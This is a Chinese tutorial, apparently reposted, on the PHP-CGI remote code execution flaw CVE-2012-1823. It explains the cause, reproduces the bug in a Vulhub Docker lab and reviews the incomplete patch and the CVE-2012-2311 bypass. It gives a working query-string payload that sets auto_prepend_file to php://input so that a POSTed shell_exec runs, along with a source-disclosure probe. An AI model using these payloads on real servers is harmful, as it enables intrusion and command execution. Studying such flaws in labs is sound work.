PHP-CGI遠程代碼執行漏洞(CVE-2012-1823)


PHP-CGI遠程代碼執行漏洞(CVE-2012-1823)

漏洞分析

PHP SAPI 與運行模式

  在PHP源碼中,有一個目錄叫sapi。sapi在PHP中的作用,類似一個消息的“傳遞者”,(PHP-FPM中的fpm,其作用就是接受web容器通過fastcgi協議封裝好的數據,交給PHP解釋器執行;除了fpm,最常見的sapi應該是用於Apache的mod_php,這個sapi用於php和apache之間的數據交換。)
  php-cgi也是一個sapi。在遠古的時候,web應用的運行方式很簡單,web容器接收到http數據包后,拿到用戶請求的文件(cgi腳本),並fork出一個子進程(解釋器)去執行這個文件,然后拿到執行結果,直接返回給用戶,同時這個解釋器子進程也就結束了。基於bash、perl等語言的web應用多半都是以這種方式來執行,這種執行方式一般就被稱為cgi,在安裝Apache的時候默認有一個cgi-bin目錄,最早就是放置這些cgi腳本用的。
  但cgi模式有個致命的缺點,眾所周知,進程的創建和調度都是有一定消耗的,而且進程的數量也不是無限的。所以,基於cgi模式運行的網站通常不能同時接受大量請求,否則每個請求生成一個子進程,就有可能把服務器擠爆。於是后來就有了fastcgi,fastcgi進程可以將自己一直運行在后台,並通過fastcgi協議接受數據包,執行后返回結果,但自身並不退出。


  php有一個叫php-cgi的sapi,php-cgi有兩個功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就說,我們可以像perl一樣,讓web容器直接fork一個php-cgi進程執行某腳本;也可以在后台運行php-cgi -b 127.0.0.1:9000(php-cgi作為fastcgi的管理器),並讓web容器用fastcgi協議和9000交互。
  那我之前說的fpm又是什么呢?為什么php有兩個fastcgi管理器?php確實有兩個fastcgi管理器,php-cgi可以以fastcgi模式運行,fpm也是以fastcgi模式運行。但fpm是php在5.3版本以后引入的,是一個更高效的fastcgi管理器,所以現在越來越多的web應用使用php-fpm去運行php。

  CVE-2012-1823就是php-cgi這個sapi出現的漏洞,我上面介紹了php-cgi提供的兩種運行方式:cgi和fastcgi,本漏洞只出現在以cgi模式運行的php中。這個漏洞簡單來說,就是用戶請求的querystring被作為了php-cgi的參數,最終導致了一系列結果。探究一下原理,RFC3875中規定,當querystring中不包含沒有解碼的=號的情況下,要將querystring作為cgi的參數傳入。所以,Apache服務器按要求實現了這個功能。

漏洞復現

環境部署

利用vulhub漏洞環境進行測試

進入ssrf漏洞環境

    cd  vulhub-master/php/CVE-2012-1823
進行環境構建

    docker-compose  build
啟動環境

    docker-compose  up -d

然后訪問目標地址

   http://ip:8080


漏洞測試

訪問目標地址

http:ip:8080/index.php/?-s

 

若返回源碼,則說明存在此漏洞

漏洞利用

通過閱讀源碼,發現cgi模式下通過可控命令行參數有如下一些參數可用:

    -c 指定php.ini文件的位置
    -n 不要加載php.ini文件
    -d 指定配置項
    -b 啟動fastcgi進程
    -s 顯示文件源碼
    -T 執行指定次該文件
    -h和-? 顯示幫助

可以看出最簡單的就是利用-s查看源碼
任意代碼執行
通過使用-d指定auto_prepend_file來制造任意文件包含漏洞,執行任意代碼:
利用burpsuite抓包,然后修改數據包內容在`index.php?`后面添加

-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

再添加傳輸內容

<?php echo shell_exec("id"); ?>

如下:

可以看出body中的代碼內容已經被執行並返回結果
原理分析
  PHP是一門強大的語言,PHP.INI中有兩個有趣的配置項,auto_prepend_file和auto_append_file。auto_prepend_file是告訴PHP,在執行目標文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告訴PHP,在執行完成目標文件后,包含auto_append_file指向的文件。
  那么就有趣了,假設我們設置auto_prepend_file為php://input,那么就等於在執行任何php文件前都要包含一遍POST的內容。所以,我們只需要把待執行的代碼放在Body中,他們就能被執行了。(當然,還需要開啟遠程文件包含選項allow_url_include)

  那么,我們怎么設置auto_prepend_file的值?
  這又涉及到PHP-FPM的兩個環境變量,PHP_VALUE和PHP_ADMIN_VALUE。這兩個環境變量就是用來設置PHP配置項的,PHP_VALUE可以設置模式為PHP_INI_USER和PHP_INI_ALL的選項,PHP_ADMIN_VALUE可以設置所有選項。(disable_functions除外,這個選項是PHP加載的時候就確定了,在范圍內的函數直接不會被加載到PHP上下文中)

  所以,我們最后傳入如下環境變量:

{
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'GET',
        'SCRIPT_FILENAME': '/var/www/html/index.php',
        'SCRIPT_NAME': '/index.php',
        'QUERY_STRING': '?a=1&b=2',
        'REQUEST_URI': '/index.php?a=1&b=2',
        'DOCUMENT_ROOT': '/var/www/html',
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '12345',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1'
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }

設置`auto_prepend_file = php://input`且`allow_url_include = On`,然后將我們需要執行的代碼放在Body中,即可執行任意代碼。

漏洞修復

CVE-2012-2311
這個漏洞被爆出來以后,PHP官方對其進行了修補,發布了新版本5.4.2及5.3.12,但這個修復是不完全的,可以被繞過,進而衍生出CVE-2012-2311漏洞。

PHP的修復方法是對-進行了檢查:

    if(query_string = getenv("QUERY_STRING")) {
        decoded_query_string = strdup(query_string);
        php_url_decode(decoded_query_string, strlen(decoded_query_string));
        if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
            skip_getopt = 1;
        }
        free(decoded_query_string);
    }

可見,獲取querystring后進行解碼,如果第一個字符是-則設置skip_getopt,也就是不要獲取命令行參數。

這個修復方法不安全的地方在於,如果運維對php-cgi進行了一層封裝的情況下:

 #!/bin/sh  
    exec /usr/local/bin/php-cgi $*

通過使用空白符加-的方式,也能傳入參數。這時候querystring的第一個字符就是空白符而不是-了,繞過了上述檢查。

於是,php5.4.3和php5.3.13中繼續進行修改: 

 if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
        /* we've got query string that has no = - apache CGI will pass it to command line */
        unsigned char *p;
        decoded_query_string = strdup(query_string);
        php_url_decode(decoded_query_string, strlen(decoded_query_string));
        for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
            /* skip all leading spaces */
        }
        if(*p == '-') {
            skip_getopt = 1;
        }
        free(decoded_query_string);
    }

先跳過所有空白符(小於等於空格的所有字符),再判斷第一個字符是否是-。
參考鏈接
(https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html)
[https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823#cve-2012-2311](https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823#cve-2012-2311)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM